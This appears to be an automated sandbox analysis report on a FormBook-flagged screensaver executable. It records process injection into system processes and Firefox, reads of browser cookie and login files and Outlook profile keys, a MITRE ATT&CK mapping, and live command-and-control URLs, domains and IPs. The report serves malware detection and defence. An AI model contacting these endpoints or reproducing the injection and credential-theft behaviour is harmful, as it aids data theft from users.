Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	NtOpenSection: Direct from: 0x76F02E0C	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	NtSetInformationThread: Direct from: 0x76EF63F9	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	NtDeviceIoControlFile: Direct from: 0x76F02AEC	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BEC	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	NtCreateFile: Direct from: 0x76F02FEC	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	NtOpenFile: Direct from: 0x76F02DCC	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	NtQueryInformationToken: Direct from: 0x76F02CAC	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	NtTerminateThread: Direct from: 0x76F02FCC	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	NtProtectVirtualMemory: Direct from: 0x76EF7B2E	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	NtOpenKeyEx: Direct from: 0x76F02B9C	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	NtProtectVirtualMemory: Direct from: 0x76F02F9C	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	NtSetInformationProcess: Direct from: 0x76F02C5C	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	NtNotifyChangeKey: Direct from: 0x76F03C2C	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	NtCreateMutant: Direct from: 0x76F035CC	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	NtWriteVirtualMemory: Direct from: 0x76F02E3C	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	NtMapViewOfSection: Direct from: 0x76F02D1C	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	NtResumeThread: Direct from: 0x76F036AC	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BFC	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	NtReadFile: Direct from: 0x76F02ADC	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	NtQuerySystemInformation: Direct from: 0x76F02DFC	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	NtDelayExecution: Direct from: 0x76F02DDC	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	NtQueryInformationProcess: Direct from: 0x76F02C26	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	NtResumeThread: Direct from: 0x76F02FBC	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	NtCreateUserProcess: Direct from: 0x76F0371C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\verclsid.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	Section loaded: NULL target: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	Section loaded: NULL target: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\verclsid.exe

Thread register set: target process: 7948

Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\verclsid.exe

Thread APC queued: target process: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 2C74008

Jump to behavior

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe

0_2_004B1201

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe

Code function: 0_2_00492BA5 SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00492BA5

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe

Code function: 0_2_004BB226 SendInput,keybd_event,

0_2_004BB226

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe

Code function: 0_2_004D22DA GetForegroundWindow,GetDesktopWindow,GetWindowRect,mouse_event,GetCursorPos,mouse_event,

0_2_004D22DA

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe"	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	Process created: C:\Windows\SysWOW64\verclsid.exe "C:\Windows\SysWOW64\verclsid.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe

0_2_004B0B62

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe

Code function: 0_2_004B1663 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_004B1663

Source: Scanned-IMGS_from NomanGroup IDT.scr.exe	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: Scanned-IMGS_from NomanGroup IDT.scr.exe, zalkpCfMwtnpQo.exe, 00000002.00000002.3549061384.00000000013D0000.00000002.00000001.00040000.00000000.sdmp, zalkpCfMwtnpQo.exe, 00000002.00000000.1752088734.00000000013D0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: zalkpCfMwtnpQo.exe, 00000002.00000002.3549061384.00000000013D0000.00000002.00000001.00040000.00000000.sdmp, zalkpCfMwtnpQo.exe, 00000002.00000000.1752088734.00000000013D0000.00000002.00000001.00040000.00000000.sdmp, zalkpCfMwtnpQo.exe, 00000007.00000000.1908407918.0000000001910000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: zalkpCfMwtnpQo.exe, 00000002.00000002.3549061384.00000000013D0000.00000002.00000001.00040000.00000000.sdmp, zalkpCfMwtnpQo.exe, 00000002.00000000.1752088734.00000000013D0000.00000002.00000001.00040000.00000000.sdmp, zalkpCfMwtnpQo.exe, 00000007.00000000.1908407918.0000000001910000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: zalkpCfMwtnpQo.exe, 00000002.00000002.3549061384.00000000013D0000.00000002.00000001.00040000.00000000.sdmp, zalkpCfMwtnpQo.exe, 00000002.00000000.1752088734.00000000013D0000.00000002.00000001.00040000.00000000.sdmp, zalkpCfMwtnpQo.exe, 00000007.00000000.1908407918.0000000001910000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe

Code function: 0_2_00470698 cpuid

0_2_00470698

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe

Code function: 0_2_004C8195 GetLocalTime,SystemTimeToFileTime,LocalFileTimeToFileTime,GetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,

0_2_004C8195

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe

Code function: 0_2_004AD27A GetUserNameW,

0_2_004AD27A

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe

Code function: 0_2_0048BB6F _free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_0048BB6F

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe

Code function: 0_2_004542DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_004542DE

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3548246487.0000000003320000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3548136805.00000000032D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3551901085.0000000005770000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3547874217.0000000003020000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1829643197.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1835373056.00000000091A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1830333241.0000000005AE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3549362625.0000000004810000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\verclsid.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\verclsid.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Jump to behavior

Source: Scanned-IMGS_from NomanGroup IDT.scr.exe	Binary or memory string: WIN_81
Source: Scanned-IMGS_from NomanGroup IDT.scr.exe	Binary or memory string: WIN_XP
Source: Scanned-IMGS_from NomanGroup IDT.scr.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: Scanned-IMGS_from NomanGroup IDT.scr.exe	Binary or memory string: WIN_XPe
Source: Scanned-IMGS_from NomanGroup IDT.scr.exe	Binary or memory string: WIN_VISTA
Source: Scanned-IMGS_from NomanGroup IDT.scr.exe	Binary or memory string: WIN_7
Source: Scanned-IMGS_from NomanGroup IDT.scr.exe	Binary or memory string: WIN_8

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3548246487.0000000003320000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3548136805.00000000032D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3551901085.0000000005770000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3547874217.0000000003020000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1829643197.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1835373056.00000000091A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1830333241.0000000005AE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3549362625.0000000004810000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_004D1204 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,		0_2_004D1204
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_004D1806 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		0_2_004D1806

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	1 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Valid Accounts	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	3 Obfuscated Files or Information	NTDS	116 System Information Discovery	Distributed Component Object Model	21 Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	241 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	412 Process Injection	2 Valid Accounts	Cached Domain Credentials	12 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	412 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Scanned-IMGS_from NomanGroup IDT.scr.exe	36%	Virustotal		Browse
Scanned-IMGS_from NomanGroup IDT.scr.exe	45%	ReversingLabs	Win32.Backdoor.FormBook
Scanned-IMGS_from NomanGroup IDT.scr.exe	100%	Avira	DR/AutoIt.Gen8
Scanned-IMGS_from NomanGroup IDT.scr.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://www.scottconsults.top/qjug/	0%	Avira URL Cloud	safe
http://quickcommerce.cloud/rdfj/?wz4=W22N1n9VK5BsDegKssi59d1tdmClQzQM6krhrjkO5qQUOhZ23fqPP0igRbfRb/L	0%	Avira URL Cloud	safe
http://www.nexula.website/ro4w/	100%	Avira URL Cloud	malware
http://www.2q33e.top/dim8/?wz4=SI5ZCVgJbtC8ikIAaDbl0c4+a+swA4Oej6uVn92gSwZctgLMHnh4qXUXZe4N7Wh4DCFNfNClZUM8FDTYBsBE5loeshCr6I6FGtX7Gz1ZeQkIvaXZY4DJTLc=&OvV=2njD6f80EDOLQ8	0%	Avira URL Cloud	safe
http://www.prediksipreman.fyi/rpjd/?wz4=yOJpbVbkgz0HtUwQYARMSThcLcopmrPoDVX6GqNwoWWXZF3pcIj1Y13LV6gW4nMVJ2J858d+IDhJ+laaNqfHK1c6MutgW040XFAhxno1AdPNbACR1ywEbhk=&OvV=2njD6f80EDOLQ8	0%	Avira URL Cloud	safe
http://www.livingslab.net/otgv/?wz4=mPj2soEUEFmq5Xu56Ev9ENs/GIe87AemMTFSPosGtz7M/tXNad3AOcc3teRO2drll+qYOuNJorQ/HJUWSqoYkO/lFhsMOlB8p4kTaBK5nEPe9NarMUavWdI=&OvV=2njD6f80EDOLQ8	0%	Avira URL Cloud	safe
http://www.quickcommerce.cloud/rdfj/	0%	Avira URL Cloud	safe
http://www.2q33e.top/dim8/	0%	Avira URL Cloud	safe
http://www.prediksipreman.fyi/rpjd/	0%	Avira URL Cloud	safe
http://www.scottconsults.top/qjug/?wz4=VcMkcuIRceq81+g9yOCv0sbld0olDHkRvlNhYh95NOpnwjcC/r1DFPFDhAQ/BZSpNAD5Fbv04pxr6m2h9PMUHq+9H+1HT0zuQhfUSGVBQeWRfQVA8fdlyIU=&OvV=2njD6f80EDOLQ8	0%	Avira URL Cloud	safe
http://www.wddb97.top/p75v/?OvV=2njD6f80EDOLQ8&wz4=GLmvlUrKOeNEevY3wcyfjSkNrwRDbMR2/x32zMvR34mmT0X9ObY05SVA9W4yUMrr2Yq11ERvKU6w2wYb4X7EbFt4LfTn3Wu5NGMirqATx7GUx0yxlSOAJso=	100%	Avira URL Cloud	malware
http://www.quickcommerce.cloud/rdfj/?wz4=W22N1n9VK5BsDegKssi59d1tdmClQzQM6krhrjkO5qQUOhZ23fqPP0igRbfRb/LgqczUnn1NrDdL/bN6nwlekL5Do//GTuaTPhPlYdtLOoB+gLN1EC4FlrA=&OvV=2njD6f80EDOLQ8	0%	Avira URL Cloud	safe
http://www.7wkto5nk230724z.click/yysf/	100%	Avira URL Cloud	malware
http://www.nexula.website/ro4w/?wz4=c7bs7cBJE/6WeNDz6y7wfs4csA5ai8mWfunIFb5NDUjHoY3en1z9O1W0OakyKWwaCum+/W1z6qbtx3tl+iJ0V9nyUJg4fcAQQsDkMDUAlXZwvkRINEDVO9c=&OvV=2njD6f80EDOLQ8	100%	Avira URL Cloud	malware
http://www.wddb97.top/p75v/	100%	Avira URL Cloud	malware
http://www.livingslab.net/otgv/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
2q33e.top	38.47.233.52	true	true	unknown
scottconsults.top	3.33.130.190	true	true	unknown
wddb97.top	206.119.82.172	true	true	unknown
www.nexula.website	67.223.117.142	true	true	unknown
www.thesquare.world	13.248.169.48	true	true	unknown
quickcommerce.cloud	20.244.96.65	true	true	unknown
prediksipreman.fyi	162.0.215.244	true	true	unknown
www.7wkto5nk230724z.click	104.21.3.193	true	true	unknown
xpremio.online	84.32.84.32	true	true	unknown
livingslab.net	3.33.130.190	true	true	unknown
www.prediksipreman.fyi	unknown	unknown	false	unknown
15.164.165.52.in-addr.arpa	unknown	unknown	false	high
www.wddb97.top	unknown	unknown	false	unknown
www.revolutionmusic.net	unknown	unknown	false	unknown
www.livingslab.net	unknown	unknown	false	unknown
www.xpremio.online	unknown	unknown	false	unknown
www.quickcommerce.cloud	unknown	unknown	false	unknown
www.cybermisha.store	unknown	unknown	false	unknown
www.2q33e.top	unknown	unknown	false	unknown
www.xtelify.tech	unknown	unknown	false	unknown
www.scottconsults.top	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.nexula.website/ro4w/	true	Avira URL Cloud: malware	unknown
http://www.scottconsults.top/qjug/	true	Avira URL Cloud: safe	unknown
http://www.prediksipreman.fyi/rpjd/?wz4=yOJpbVbkgz0HtUwQYARMSThcLcopmrPoDVX6GqNwoWWXZF3pcIj1Y13LV6gW4nMVJ2J858d+IDhJ+laaNqfHK1c6MutgW040XFAhxno1AdPNbACR1ywEbhk=&OvV=2njD6f80EDOLQ8	true	Avira URL Cloud: safe	unknown
http://www.2q33e.top/dim8/?wz4=SI5ZCVgJbtC8ikIAaDbl0c4+a+swA4Oej6uVn92gSwZctgLMHnh4qXUXZe4N7Wh4DCFNfNClZUM8FDTYBsBE5loeshCr6I6FGtX7Gz1ZeQkIvaXZY4DJTLc=&OvV=2njD6f80EDOLQ8	true	Avira URL Cloud: safe	unknown
http://www.quickcommerce.cloud/rdfj/	true	Avira URL Cloud: safe	unknown
http://www.scottconsults.top/qjug/?wz4=VcMkcuIRceq81+g9yOCv0sbld0olDHkRvlNhYh95NOpnwjcC/r1DFPFDhAQ/BZSpNAD5Fbv04pxr6m2h9PMUHq+9H+1HT0zuQhfUSGVBQeWRfQVA8fdlyIU=&OvV=2njD6f80EDOLQ8	true	Avira URL Cloud: safe	unknown
http://www.2q33e.top/dim8/	true	Avira URL Cloud: safe	unknown
